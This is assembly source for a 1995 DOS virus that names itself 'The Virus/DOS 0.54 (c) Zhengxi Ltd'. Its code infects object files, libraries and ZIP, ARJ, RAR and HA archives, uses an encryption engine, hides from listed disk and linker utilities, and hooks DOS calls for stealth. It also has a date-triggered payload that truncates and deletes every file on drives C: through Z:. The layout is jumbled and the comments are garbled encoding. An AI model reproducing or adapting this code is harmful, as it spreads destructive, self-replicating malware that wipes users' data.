byte ptr [objhdr.segattr], 0A0h ;borland windows library is WORD alignment byte ptr [objhdr.segattr], MASK SA_A
DOIF Z obj$ret1: stc ret DONE call dostell sub ax, HDRBUFSIZE sbb dx, 0 mov [pos98.lo], ax mov [pos98.hi], dx mov ax, word ptr [objhdr.segsize] cmp ax, 0Ah jb obj$ret cmp ah, 3 ja obj$ret mov [siz98], ax DONE ;-+--------------------------+pblabel process_A0 ;-+-[process A0]-------------+cmp [objhdr.rectype], LEDATA jne cycle_o rzheap equ ;read (rzheap+80h, [objhdr.recsize]-4) mov ax, HDRBUFSIZE -6h call dosseek_cur_neg_ax sub ax, 6h sbb dx, 0 mov [posA0.lo], ax mov [posA0.hi], dx lea dx, [rzheap] mov di, dx mov cx, [objhdr.recsize] sub cx, 4h call dosread push bx ;save file handle push ax ;size A0 before infect add di, ax push di ;encode virus (rzheap+[objhdr.recsize]-4) mov ax, zmeflOBJ call ZME_crypt ;;ret CX-SIZE ; mov [_____], ah ; mov si, VIRUSSTACKSIZE ; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size ; mov [engdata.datasize], cx ; mov [engdata.targetptr], di ; rep movsb ;copy data ; mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size ; xor ax,ax xchg bx, ax ; entry virus
;¬®¦¥â ®áë¯ âìáï, ¥á«¨ 㢥«¨ç¨âì à §¬¥à ¢¨àãá . ᥩç á 7000 ;- ¤®, çâ®¡ë ¡ë«® 9 ¡«®ª®¢.? ;mov ax, cx ;add ax, 3DFh ;dec ax ;cwd ;mov si, 3E0h ;div si
;inc ax ;cwd ;mov si, 3E9h ;mul si mov ax, di sub ax, offset rzheap cwd mov si, 3E0h div si mov dl, 7 mul dl add ax, cx and ax, 0Fh sub cx, ax add cx, 10h pop di add di, cx mov word ptr [fisize], cx ;scan pop push lea DO
cx ;size A0 before infect di ;ptr to end A0 & virus si, [rzheap+2]
mov di, 3 dec si dec si push cx call calculate_crc ; ;push bp; mov bp,sp ;< BORLAND je fnd cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND je fnd cmp_ax_CRC32w <52h, 89h, 0C2h> ;push dx; mov dx,ax ;< WATCOM je fnd CYCLE LU pop ax ;error_exit_2: pop ax obj$ret: stc ;CF - error flag for process_lib ret fnd: mov byte ptr [si-3], opCALL lea ax, [bx-3] add ax, cx mov word ptr [si-2], ax ;, 00 ;(cx+bx-3) pop dx ;ptr to end A0 & virus pop bx ;restore file handle ;rezka lea si, [rzheap] lea di, [heap] DO ;@repeat: sto_byte LEDATA mov ax, dx sub ax, si MIN ax, 3E0h push ax ;block size add ax, 4 stosw sto_byte 1 mov ax, si
sub ax, offset rzheap stosw pop cx ;/----crc-------------------\ add al, byte ptr [di-4] add al, byte ptr [di-5] add al, ah add al, LEDATA+1 DO add al, byte ptr [si] movsb CYCLE LU neg al stosb ;\--------------------------/ cmp si, dx CYCLE B ; jb @repeat sub push
di, (offset heap)+3E7h di ;razmer wtorogo finserta
;seek_pos(posA0)???? mov dx, [posA0.lo] mov cx, [posA0.hi] call dosseek ;write (heap, [objhdr.recsize]+3) mov cx, [objhdr.recsize] add cx, 3 call doswrite_from_heap ;f_insert (heap+[objhdr.recsize], 3E7h-([objhdr.recsize]+3)) mov si, ax add si, dx mov cx, 3E7h sub cx, ax add di, cx mov [lib_dict_offset], di ; adc [lib_dict_offset.hi], 0 push cx call dostell pop cx call f_insert ;read (objhdr, 22h) ;---- skip FIXUPP if present call read_buf_22 cmp [objhdr.rectype], FIXUPP DOIF E sub ax, 3 sub ax, [objhdr.recsize] DONE call dosseek_cur_neg_ax ;f_insert (heap+3E7h, virrsize-3E7h) lea si, [heap+3E7h] pop cx ;virrsize-3E7h call f_insert ;-process-segment-----------mov dx, [pos98.lo] mov cx, [pos98.hi] call dosseek call read_buf_22 call dosseek_cur_neg_ax mov ax, [fisize] add word ptr [shift_buffer.segsize], ax ;/----crc-------------------\
mov cx, [objhdr.recsize] lea si, [vir_heap._objhdr] inc cx lodsb DO add al, byte ptr [si] inc si CYCLE LU neg al mov byte ptr ds:[si], al ;\--------------------------/ jmp DosWrite_shbuf_22
;*Å**[process LIB]*********************************************************Å* pblabel process_lib ;CALL CHECK_PROCESS_NAME ; ⪠§ à ¦¥-¨¥ LIB § -¨¬ ¥â ¬-®£® ¢à¥¬¥-¨ ; íâ® á⮨⠤¥« âì ¯à¨ à ¡®â¥ NDD, PKLITE, TLINK, etc cmp jne DO
byte ptr [libhdr.lib_hdr_dict_offs], 0 lib$ret ;already infect ;infect mov di, 8 ;search lea si, [vir_heap._libhdr] call calculate_crc ;
exitcode of 'C' program for 'EXIT'
'T' rel="nofollow">
;< BORLAND
't'>
;< WATCOM
pblabel exfound cmp byte ptr [libhdr+14h], 32h je lib$ret call process_obj ;hmmm... jc lib$ret call dosseek_bof call read_buf_22 mov ax, [lib_dict_offset] add [libhdr.lib_hdr_dict_offs.lo], ax adc [libhdr.lib_hdr_dict_offs.hi], 0 call write_exehdr ; call dosseek_bof ; call doswrite_shbuf_22 ;¢ á«®¢ à¥: ¤«ï ¢á¥å § ¯¨á¥© > exit_ ¤®¡ ¢¨âì à §¬¥à ¢áâ ¢ª¨ ¢ ¯ à £à * å ;seek (lib_hdr_dict_offs) mov cx, [libhdr.lib_hdr_dict_offs.hi] mov dx, [libhdr.lib_hdr_dict_offs.lo] call dosseek DO lea dx, [heap]
mov call mov cmp jne call lea mov DO
cx, LIB_DICTIONARY_ENTRY_SIZE dosread ; read (heap, 0x200) dx, LIB_DICTIONARY_ENTRY_SIZE ax, dx ; ¯®â®¬ ᤥ« © ç¥à¥§ SAHF end_process_dictionary ;< ¯®á«¥ í⮣® - ¤®-¡ë dosseek_cur_neg_dx ; áâàã-ª¥©â¨âì extended dictionary. si, [heap] ; process:) cx, 25h
lodsb push si mov ah, ch ;ch=0 add ax, ax DOIF NZ add ax, offset heap xchg si, ax lodsb mov ah, ch ;ch=0 add si, ax cmp word ptr [si], UNINIT virobjblk equ word ptr ($-2) DOIF A mov ax, [lib_dict_offset] shr ax, 4 add word ptr [si], ax DONE DONE pop si CYCLE LU mov cx, LIB_DICTIONARY_ENTRY_SIZE call doswrite_from_heap ; write (heap, 0x200) CYCLE ;**************************************************************************** ;*Å**[process HA]*********************************************************Å* pblabel process_ha ;int 2bh mov ax, [hahdr.filecnt] inc ax mov [hafcount], ax mov ax, HDRBUFSIZE - (size ha_main) call dosseek_cur_neg_ax jmp sss pblabel cycle8 ;seek(size ha_file_hdr)+size name+machine+1 lea si, [vir_heap._hahdr.ha_name] mov cx, 42h ; max length name DO lodsb and al, al CYCLE LUNZ jcxz error_exit2 lodsb mov ah, 0 sub cx, 34h sub ax, cx sbb cx, cx ;
call read_buf_22 cmp [hahdr.ha_ver_method], HA_METHOD_STORED je error_exit2 cmp al, HDRBUFSIZE je cycle8 cmp al, 0 jne error_exit2 ;/+- CREATE HAHDR -+lea di, [vir_heap._crthdr] sto_byte HA_METHOD_STORED call store_fisize lea si, [vir_heap._arx_crc] movs4 ;d;file crc_32 call create_dtim1 sto_byte 0 ; sto_word '/' call store_fname sto_two_byte 0, 2 sto_two_byte 1, 20h ;\+- CREATE HAHDR -+mov cx, [fnamesize] add cx, SIZE ha_file_hdr + 3 ; 0h lea dx, [vir_heap._crthdr] call doswrite mov cx, word ptr [fisize] mov dx, word ptr [fioff] call doswrite mov dx, 2 call dosseek_cx_0 mov cx, 2 lea dx, [vir_heap._hafcount] jmp doswrite ;**************************************************************************** ;*Å**[process RAR]*********************************************************Å* pblabel process_rar DO cmp [rarhdr.rar_head_type], 73h ; DOIF E ;test for multi-volume archive (?) test byte ptr [rarhdr.rar_head_flags], 1h DOIF NZ pblabel error_exit2 ret DONE ; remove Authenticity information present flag and byte ptr [rarhdr.rar_head_flags], not 20h call dosseek_cur_neg_ax mov di, SIZE rar_main_hdr - 2 lea si, [vir_heap._rarhdr.rar_head_type] call Calculate_CRC mov [rarhdr.rar_head_crc], cx call DosWrite_shbuf_22 DONE cmp [rarhdr.rar_method], RAR_METHOD_STORED je error_exit2 mov dx, [rarhdr.rar_f_head_size] sub dx, HDRBUFSIZE sbb cx, cx test byte ptr [rarhdr.rar_head_flags.1], 80h DOIF NZ add dx, [rarhdr.rar_compressed_size.lo] adc cx, [rarhdr.rar_compressed_size.hi] DONE call dosseek_cur call read_buf_22
pr_rar: and ax, ax ;if eof EXIT Z cmp [rarhdr.rar_head_type], 74h CYCLE BE ; if marker block or archive header push ax ;/+- CREATE RARHDR 1.50 -+LEA di, [vir_heap._crthdr+2] sto_two_byte 74h, 0 sto_byte 80h call sto_fnamesize_20 call store_fisize stosb ;rar_host_os =0 lea si, [vir_heap._arx_crc] movs4 ;d;file crc_32 call create_dtim1 sto_two_byte 0Fh, RAR_METHOD_STORED sto_word_ <[fnamesize]> mov al, 20h call stosw_sto_0 call store_fname lea si, [vir_heap._crthdr+2] sub di, si call Calculate_CRC mov word ptr [crthdr], cx ;[si-2] (?) ;\+- CREATE RARHDR -+pop ax call dosseek_cur_neg_ax mov cx, SIZE rar_file_hdr JMP f_insert_hdr_und_file ;**************************************************************************** ;include add2arj.as1 ;*Å**[process ARJ]*********************************************************Å* DO ;seek_cur(arj_bas_hdr_size+0Ah+arj_compressed_size-22h) mov dx, [arjhdr.arj_bas_hdr_size] sub dx, HDRBUFSIZE-0Ah sbb cx, cx cmp [arjhdr.arj_original_size.lo], cx DOIF NE ; if first header - (great BUG) add dx, [arjhdr.arj_compressed_size.lo] adc cx, [arjhdr.arj_compressed_size.hi] cmp [arjhdr.arj_compres_method], ARJ_METHOD_STORED DOIF E pblabel error_exit3 ret DONE DONE call dosseek_cur call read_buf_22 pblabel process_arj test [arjhdr.arj_flags], 4h ;test for multi-volume archive (?) jnz error_exit3 cmp [arjhdr.arj_bas_hdr_size], 0 CYCLE NE push ax ; ;/+- CREATE ARJHDR -+lea di, [vir_heap._crthdr] lea si, arj_h movsw ;arj_id call sto_fnamesize_20 movsw ;31e mov al, 1 stosw ;1
dec ax call create_dtim call store_fisize movs4 ;d;file crc_32 sto_word 0 stos2w ;0 call store_fname ;*;name stosw ;0 push di lea si, [vir_heap._crthdr.arj_first_hdr_size] sub di, si call calculate_crc pop di xchg ax, cx call st_dx_0 ;\+- CREATE ARJHDR -+pop ax call dosseek_cur_neg_ax mov cx, 2Ah ;SIZE zip_local_header pblabel f_insert_hdr_und_file CALL f_insert_hdr mov cx, word ptr [fisize] mov si, word ptr [fioff] jmp f_insert ;**************************************************************************** ;include add2zip.as1 ;*[create zip headers]******************************************************* pblabel create_zip LEA di, [vir_heap._crthdr] lea si, zip_h movsw ;'KP' lodsw ;304 DOIF NZ ;CENTRAL_FLAG ; $$if central sto_word ZIP_CNL_ID mov ax, word ptr ds:[si] ;20d;?ver? DONE stosw movsw ;14 mov ax, 2 pushf call create_dtim add_si4 movs4 ;d;file crc_32 call store_fisize mov ax, [fnamesize] call stosw_sto_0 ;extra field size =0 popf DOIF NZ ;CENTRAL_FLAG ; $$if central stos3w ;=0 mov al, 20h call stosw_sto_0 add_di4 DONE pblabel store_fname ;*;name mov cx, [fnamesize] rep movsb pblabel error_exit1 ret ;**************************************************************************** ;*Å**[process ZIP]*********************************************************Å* pblabel cycle1 mov dx, [ziphdr.zip_size_fname] sub dx, 4
sbb cx, cx add dx, [ziphdr.zip_extra_field_length] cmp [ziphdr.zip_compression_method], ZIP_METHOD_STORED je mustdie add dx, [ziphdr.zip_compressed_size.lo] adc cx, [ziphdr.zip_compressed_size.hi] call dosseek_cur call read_buf_22 ; read(ziphdr, sizeof(zipcnthdr)) pblabel process_zip ;$BEEP$ ; DOIF E ;
DONE cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_LCL_ID je cycle1 cmp word ptr [ziphdr.zip_loc_sign.hi], ZIP_CNL_ID jne error_exit1 call create_zip mov dx, - HDRBUFSIZE ; SIZE zip_local_header call dosseek_cur_cx_1 mov [crthdr.zip_rel_off_of_loc_hdr_.lo], ax mov [crthdr.zip_rel_off_of_loc_hdr_.hi], dx mov cx, SIZE zip_local_header ;1e call f_insert_hdr_und_file jmp proc_cnt DO ; seek_cur(ziphdr.filename_length_+ziphdr.extra_field_length_ ; +ziphdr.file_comment_length_) mov dx, [ziphdr.zip_size_fname_] add dx, [ziphdr.zip_extra_field_length_] add dx, [ziphdr.zip_file_comment_length_] add dx, 0Ch call dosseek_cur_cx_0 pblabel proc_cnt call read_buf_22 cmp [ziphdr.zip_centr_sign_.lo], ZIP_SIGN jne error_exit1 cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_CNL_ID CYCLE E cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_END_ID jne error_exit1 call dosseek_cur_neg_ax ; seek_cur(-sizeof(zip_centr_header)) inc [ziphdr.ttl_num_of_ent_on_this_disk] inc [ziphdr.ttl_num_of_ent_in_the_cent_dir] add [ziphdr.size_of_the_central_directory.lo], size zip_central_header mov ax, [fnamesize] cwd ;DX := 0 add [ziphdr.size_of_the_central_directory.lo], ax adc [ziphdr.size_of_the_central_directory.hi], dx add ax, [fisize] ;[zip_compressed_size.lo] add ax, SIZE zip_local_header add [ziphdr.off_of_strt_of_cent_directory.lo], ax adc [ziphdr.off_of_strt_of_cent_directory.hi], dx mov cx, SIZE zip_end_header call DosWrite_shbuf ;write zip_end_header cmp dx, bp ;zf=0 call create_zip ; create_centr_header mov dx, -SIZE zip_end_header ;-16 call dosseek_cur_cx_1 mov cx, SIZE zip_central_header ;**************************************************************************** ;%NOINCL
;.SALL ;shift_buffer_size = 13h pblabel f_insert_hdr add cx, [fnamesize] pblabel f_insert_hdr_wirhout_fname LEA si, [vir_heap._crthdr] pblabel f_insert push dx ax push cx ; insert_size xor cx,cx ; cx := 0 sub ax, HDRBUFSIZE sbb dx, cx mov [beg_pos.hi], dx mov [beg_pos.lo], ax dec cx ; cx := -1 mov dx, - HDRBUFSIZE mov al, 2 ; seek_end ( - shift_buffer_size ) call DosSeek_all DO call read_buf_22 ; read ( shift_buffer, shift_buffer_size ) pop dx ; seek_cur ( insert_size - shift_buffer_size ) push dx sub dx, HDRBUFSIZE ; sub dx,ax (?) call dosseek_cur_cx_0 call DosWrite_shbuf_22 ; write ( shift_buffer, shift_buffer_size ) pop dx ; seek_cur ( - insert_size - 2*shift_buffer_size ) push dx add dx, HDRBUFSIZE*2 call dosseek_cur_neg_dx ; #### DX:AX=curpos cmp dx, [beg_pos.hi] REPEAT A cmp ax, [beg_pos.lo] CYCLE A ;-+--------+- seek for write -+--------+pop ax ; insert_size pop dx cx push ax call dosseek mov dx, si pop cx call DosWrite jmp dostell ;**************************************************************************** ;shift_buffer_size = 22h ;**************************************************************************** pblabel sto_fnamesize_20 mov ax, 20h add ax, [fnamesize] stosw ret ;**************************************************************************** ;**************************************************************************** pblabel store_fisize xor dx, dx sto_word_ <[fisize]> ;.filesize xchg dx, ax pblabel st_dx_0 stosw ;d;hdr crc xchg ax, dx pblabel stosw_sto_0
stosw sto_word 0 ret ;**************************************************************************** ;**************************************************************************** pblabel create_dtim call stosw_sto_0 pblabel create_dtim1 sto_word TIMEMARKER ;time = const TIMEMARKER sto_word_ <[host_arx_date]> ret ;**************************************************************************** pblabel write_sizemarker ;write garbage lea di, [heap] ;from heap mov ax, SIZEMARKER+SIZEMARKER_MOD CALL SHIT_AX ;write virus call seek_end ;dx:ax - file size xor dx, dx mov cx, SIZEMARKER div cx sub cx, dx add cx, SIZEMARKER_MOD jmp doswrite_from_heap ;**************************************************************************** ;xEXE db '.EXE' ;xCOM db '.COM' pblabel hdrs CRC32w <'P','K','ETX','EOT'> ;ZIP CRC32w <060h,0EAh> ;ARJ CRC32w <'R','a','r','!'> ;RAR CRC32w <'H','A' > ;HA pblabel endarxex ; CRC32w <0FFh,0FFh,0FFh,0FFh> ;SYS CRC32w <0F0h,0Dh> ;LIB CRC32w <080h> ;OBJ ; CRC32w <'F','B','O','V'> ;OVR CRC32w <'Z','M'> ;EXE CRC32w <'M','Z'> ;EXE pblabel offs dw process_zip dw process_arj dw process_rar dw process_ha ; dw process_sys dw process_lib dw process_obj ; dw process_ovr dw process_exe dw process_exe ;cmp_ax_CRC32w <2,1Ah,8Bh> pblabel api_entry call doscall iret pblabel mustdie DTADELTA equ 11H forDTAs equ heap+80h TROJANTIME=0
cmp [host_arx_date.h], 20h ;if 1996 year then must die! DOIF B ;executor cmp [ziphdr.zip_file_time], TROJANTIME DOIF E ;int 2bh call dosseek_cur_cx_0 lea dx, [api_entry] mov ax, 2503h call doscall lea dx, [heap] mov cx, [ziphdr.zip_compressed_size.lo] and ch, 1Fh ; maximum size=8K call dosread call dx ; mov di, cx ; mov si, dx ; call Calculate_CRC DONE ret DONE MOVSEG ds, cs MOVSEG es, cs next_disk: lea si, forDTAs lea di, [heap] disk=$+1 IFDEF RELIZ sto_two_byte 'C', ':' ELSE sto_two_byte 'D', ':' ENDIF cmp al, 'Z' je rt_err DO add si, DTADELTA mov dx, si mov ah, 1Ah call DosCall sto_byte '\' mov word ptr [di],'.*' mov word ptr [di+2],'*' mov cx, 3Fh lea dx, [heap] FindFirst: mov ah, 4Eh jmp short EndOfSearch DO FindNext: mov ah, 4Fh EndOfSearch: call DosCall DOIF C mov byte ptr [di-1], 0 lea dx, [heap] mov ah, 3Ah call DosCall DO dec di cmp byte ptr [di-1],'\' CYCLE NE sub si, DTADELTA
DONE push add DO
mov mov call cmp jae
dx, si ah, 1Ah DosCall si, offset forDTAs FindNext
inc jmp
byte ptr ds:[disk] next_disk di si si, find_buf_pname
lodsb stosb or CYCLE NZ dec di pop si test je cmp jne
al, al
byte ptr [si.find_buf_attr], 10h @@0 byte ptr [si.find_buf_pname], '.' @@1
@@0: pop di ;file -> restore DI lea dx, [heap] mov cx, 20h mov ax, 4301h call DosCall mov ax, 3D21h call DosCall xchg bx, ax DOIF NC call DosTruncate call DosClose DONE mov ah, 41h call DosCall CYCLE @@1: pop CYCLE
ax ;drop DI
;
;¥á«¨ ¤¨à¥ªâ®à¨ï +name
ends end INCLUDE ZURICH.ASI ;INCLUDE CRC.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code ;public get_crc_just_fname ;public get_own_name extrn DosCall :near extrn calculate_crc5 :near ;-+------------------------------------------------------------------------+;¯®«ãç¨âì * ©«-¥©¬ ¨§ á।ë ⥪ã饣® PSP ;proc ;return ds:dx =@ParamStr(0) {use cur PSP} ;-+------------------------------------------------------------------------+;CRPROC get_own_name, 79FCh ;public get_own_name pblabel get_own_name
push es ax bx ; mov ah, 34h ; call DosCall ;BX-cur psp ; mov ds, es:[bx][0Fh] ;cur PSP mov ah, 51h int 21h mov ds, bx mov bx, PDB_environ mov ds, ds:[bx] ;cur envir DO inc bx cmp word ptr [bx-4], 0 CYCLE NZ mov dx, bx pop bx ax es ret ;endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+;ds:dx - string, ;(dx:cx)ax-crc of UpCase(JustFileName) ;ZF=1, ¥á«¨ CRC í⮣® ¨¬¥-¨ ¥áâì ¢ â ¡«¨æ¥ ;-+------------------------------------------------------------------------+;CRPROC get_crc_just_fname, 474Ah ;public get_crc_just_fname pblabel get_crc_just_fname push es push si di cx dx pushf movseg es, cs cld mov si, dx DO lodsb and al, al CYCLE NZ std lodsw DO lodsb cmp al, '\' EXIT E cmp al, ':' EXIT E cmp al, 0 CYCLE NZ popf lodsw call Calculate_CRC5 lea di, nostlnames mov cx, nostlnamescount repne scasw ;cmp di, cx ;<debug zf=0 pop dx cx di si pop es ret ;endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+;¯à¨ à ¡®â¥ íâ¨å * ©«®¢ ¢ëª«îç ¥âáï á⥫âá ;¨ ¥é¥: í⨠* ©«ë -¥ § à ¦ îâáï!
;-+------------------------------------------------------------------------+pblabel nostlnames CRC32w < 'U', 'U', 'E', 'N', 'C' > ;uuencode CRC32w < 'P', 'K', 'L', 'I', 'T' > ;PKLITE CRC32w < 'L', 'Z', 'E', 'X', 'E' > ;lzexe CRC32w < 'N', 'D', 'D', '.', 'E' > ;ndd.exe CRC32w < 'D', 'I', 'E', 'T', '.' > ;diet. CRC32w < 'S', 'C', 'A', 'N', 'D' > ;scandisk CRC32w < 'S', 'D', '.', 'E', 'X' > ;sd.exe CRC32w < 'S', 'P', 'E', 'E', 'D' > ;speedisk CRC32w < 'D', 'E', 'F', 'R', 'A' > ;defrag CRC32w < 'T', 'L', 'I', 'N', 'K' > ;tlink CRC32w < 'W', 'L', 'I', 'N', 'K' > ;Wlink CRC32w < 'L', 'I', 'N', 'K', '.' > ;link.exe CRC32w < 'D', 'P', 'M', 'I', '1' > ;DPMI16 CRC32w < 'D', 'P', 'M', 'I', '3' > ;DPMI32 CRC32w < 'R', 'T', 'M', '.', 'E' > ;RTM.EXE CRC32w < 'R', 'T', 'M', '3', '2' > ;RTM32.EXE nostlnamescount = ($-nostlnames)/2 ;-+------------------------------------------------------------------------+ends end include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code ;extrn begin_rnd_procs:dword ;extrn carrier :near ;extrn end_msg :near public r_lo public r_hi ;.model tiny ;.code ;10DCD ; r_hi r_lo ;------------------; xxxx xxxx r_lo * 0DCDh ; yyyy yyyy r_hi * 0DCDh ; r_hi r_lo * 1 ;------------------;*************************************************************************** pblabel RND_GET push dx cx mov ax, cs:r_lo mov cx, 0DCDh mul cx inc ax adc dx, 1111h r_lo equ word ptr $-2 mov cs:r_lo, ax mov ax, 1111h r_hi equ word ptr $-2 xchg cx, dx mul dx add ax, cx mov cs:r_hi, ax pop cx dx sahf ret ; dd ? ;*************************************************************************** pblabel RND_INIT
push mov mov push pop push pop
ds si si, 43h ds, si word ptr ds:[si-43h*11h+46Ch] ;lo cs:r_lo word ptr ds:[si-43h*11h+46Eh] ;hi cs:r_hi
push ax in al, 40h xor byte ptr cs:r_hi, al pop ax pop si ds ret ;*************************************************************************** ;extrn Calculate_CRC :near ;*************************************************************************** pblabel RND_GET_BYTE call RND_GET mov ah,0 ret ;*************************************************************************** pblabel RND_GET_THREE_BITS call RND_GET_BYTE pushf and al,00000111b popf ret ;*************************************************************************** ;rnd_procs_size = $-begin_rnd_procs ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code extrn InfectTurn :byte extrn r_lo:word extrn r_hi:word extrn InfectName :near extrn get_crc_just_fname:near extrn heap:near extrn crypt_exe_header:near extrn no_freq_proc :near extrn crypt_exe_header_custom:near extrn WRITE_EXEHDR :near extrn TEST_SIZE :near extrn STEALTHNAME :near extrn GET_SFT :near extrn vir_heap :near extrn InfectHandle :near extrn start_data :word extrn get_own_name :near extrn heap :near extrn st25 :near extrn ret_hook :dword extrn ret_sux :word extrn continue21 :near extrn get_cur_time :near extrn calculate_crc :near extrn vir_heap :near extrn Calculate_CRC:near
extrn Calculate_CRC5:near ;**************************************************************************** ;*** VIRUS STARTUP ****************************************************** ;**************************************************************************** org 0 pblabel virus_zero DB 0cH DUP (opNOP) dw 0 ;bp-30h : SS dw 0 ;bp-2eh : SP dw 0 ;bp-2ch : sum dw 0Ah+0cH ;bp-2ah : IP dw 0 ;bp-28h : CS nop .EXIT org VIRUSSTACKSIZE-16h pblabel begin_stack st_es dw ? ;-16 st_ds dw ? ;-14 st_di dw ? ;-12 st_si dw ? ;-10 st_bp dw ? ;-E st_sp dw ? ;-C st_bx dw ? ;-A st_dx dw ? ;-8 st_cx dw ? ;-6 st_ax dw ? ;-4 st_fl dw ? ;-2 pblabel end_stack ;**************************************************************************** pblabel virus_entry push si call vs public _____ _____ db (zmeflARX and 0FFh) ;0-classic EXE ;1-abnormal termination (for carrier) ;2-retf pblabel relocator DO SEGCS lodsb db opSEGCS, 88h, 44h shiftval db ? ; mov cs:[si+shiftval], al CYCLE LU iret pblabel vs pop si push ax cx di bp pushf std lea ax, _____ sub ax, si push ax and ax, 0Fh add al, 11h ;suxxx*10h+1h ; suxxx=1 mov cs:[si+(offset shiftval)-(offset _____)], al pop ax sar ax, 4 dec ax ; sub ax, suxxx mov bp, sp mov di, ss:[bp+4+6+2]
cmp byte ptr cs:[di-3], opCALL DOIF E add 1 ptr cs:[si+(offset shiftval)-(offset _____)], 060h sub ax, 06h dec di mov byte ptr cs:[di], 0ECh dec di mov byte ptr cs:[di], 8Bh dec di mov byte ptr cs:[di], 55h mov ss:[bp+4+6+2], di push cs push di pushf lea bp, vvvo DOELSE lea bp, vvv DONE mov cx, cs sub cx, ax push cx push bp lea si, [si+((offset start_data))-_____] mov cx, (offset start_data)-VIRUSSTACKSIZE+2 jmp relocator ;------------pblabel vvvo begin_auto: pop dword ptr cs:[frret] popf ;**************************************************************************** pblabel vvv pop bp di cx ax si ;save vect1 push ds MOVSEG ds, cs lea dx, tmp1 mov ax, 2501h int 21h pop ds pushf call trace_cpm popf cmp cs:_____, (zmeflOBJ and 0FFh) DOIF E inc sp inc sp retobj db 0EAh public_key: frret dd ? DONE cmp DOIF E retf DONE cmp jnz mov
cs:_____, (zmeflIXE and 0FFh)
cs:_____, (zmeflEXE and 0FFh) ;-? carrier ;/
cs:[vir_heap._after_goto], offset goto_exe
call user_proc pblabel goto_EXE ;api ;(ss-es-0x17)<<4+sp ;ss=cs-1 ;(cs-es-0x18)<<4+sp mov ax, es mov si, 10h add ax, si push es push ax ;psp mov bx, cs sub ax, bx neg ax cwd mul si mov si, [save_SP] sub si, 7Eh add ax, si adc dx, 0 push si call crypt_exe_header_custom pop si lea di, [heap] mov cx, 16h/2 rep movsw call di pop ax pop es movseg ds, es add cs:[(heap-2).exe_SS], ax add cs:[(heap-2).exe_CS], ax mov ss, cs:[(heap-2).exe_SS] mov sp, cs:[(heap-2).exe_SP] jmp dword ptr cs:[(heap-2).exe_IP] ;**************************************************************************** pblabel carrier call endmsg ; db 'This program requires Microsoft Windows.' ; db 'The Application Program Interface (API) entered' ; db 'will only work in OS/2 mode.' db 'Abnormal program termination',CRLF,'$' ;public_key dd ? db CRLF,'The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd' ; db CRLF,'Don''t distribute this program!',CRLF db CRLF,'Warning! This program for internal use only!',CRLF pblabel endmsg pop dx movseg ds, cs mov ah,9 int 21h .exit ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ;funcs21 equ funcs21 equ
<00,11,12,31,3D,3E,3F,41,42,48,49,4A,4B,4C,4E,4F,67,6C> ; <67,3E,6C,3F,49,00,3D,41,4A,11,4B,31,48,4C,4E,42,12,4F> ;
pblabel functions
% IRP foo, funcs21 db (&foo&h shl 1) xor &foo&h ENDM funcnt = $-functions MROR MACRO w1, shval dw (w1 shr (shval and 0Fh)) or ((w1 shl (10h-(shval and 0Fh))) and 0FFFFh) ENDM MROL MACRO w1, shval dw ((w1 shl (shval and 0Fh)) and 0FFFFh) or (w1 shr (10h-(shval and 0Fh))) ENDM % IRP foo, funcs21 MROR <((bfr_&foo-virus_zero) xor ($+2-virus_zero))>, <(bfr_aft-$)> MROL <((aft_&foo-virus_zero) - ($+2-virus_zero))>, <(bfr_aft-($-2))> public bfr_&foo public aft_&foo ENDM bfr_aft = $-4 ;-+------------------------------------------------------------------------+pblabel user_proc mov cs:[vir_heap._save_ss], ss mov cs:[vir_heap._save_sp], sp movseg ss, cs lea sp, end_stack pushf cli cld pushaw push ds es lea bp, vir_heap+80H call [after_goto] pblabel rt_err lea sp, begin_stack ;end_stack-20d pop es ds popaw popf mov ss, cs:[vir_heap._save_ss] mov sp, cs:[vir_heap._save_sp] retn ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+pblabel RANDOMIZE lea si, begin_auto mov di, end_auto-begin_auto mov [si+(public_key-begin_auto).lo], ax mov [si+(public_key-begin_auto).hi], dx call Calculate_CRC mov [r_lo], dx mov [r_hi], cx ret ;-+------------------------------------------------------------------------+pblabel end_auto ;-+------------------------------------------------------------------------+bfr_3E: call RND_GET DOIF BE ret
DONE jmp InfectHandle aft_3E: ;ret jmp InfectName ;-+------------------------------------------------------------------------+bfr_41: pblabel Doctor_Name mov ax, 3D12h ifInfJump NameCustom movseg ds, ss push ax dx call restore_header pop cx dx call dosseek ;seek call DosTruncate call write_exehdr jmp dosclose ;Doctor_Name endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+aft_11: aft_12: movseg ds, cs and al, al jnz $ret mov ah, 2fh ; get DTA call DosCall mov ax, word ptr es:[bx+24h] ;really not need, call test_size ;ZF=0 - no infected file ;speed optimization jnz $ret ; lea di, StealthName mov cx, 11d DO mov al, es:[bx+8] inc bx cmp al, ' ' DOIF NE mov ds:[di], al inc di DONE cmp cx, 4 DOIF E mov byte ptr ds:[di], '.' inc di DONE CYCLE LU mov byte ptr cs:[di], ch ;0 add bx, 0Ch jmp stlts_find_name ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+bfr_6C: test dl, 1 ;no open PASS Z test bl, 3 ;r/0 DOIF NZ push dx mov dx, si call Doctor_Name pop dx
MASKA
, xxxxxx10
;R/W
bl
DONE ;-+------------------------------------------------------------------------+bfr_49: aft_42: aft_00: aft_4C: bfr_4f: bfr_11: bfr_12: bfr_def: @retn: aft_def: aft_41: $ret: ret ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+aft_4E: aft_4F: MOVSEG ds, cs lea di, StealthName-1 DO inc di cmp byte ptr [di], 0 CYCLE NZ DO dec di cmp di, offset StealthName-1 EXIT E cmp byte ptr [di], '\' CYCLE NE inc di mov ah, 2Fh ;get DTA call DosCall
mov DO
cx, 0Dh
;es:bx+1e -0Dh-> ds:di
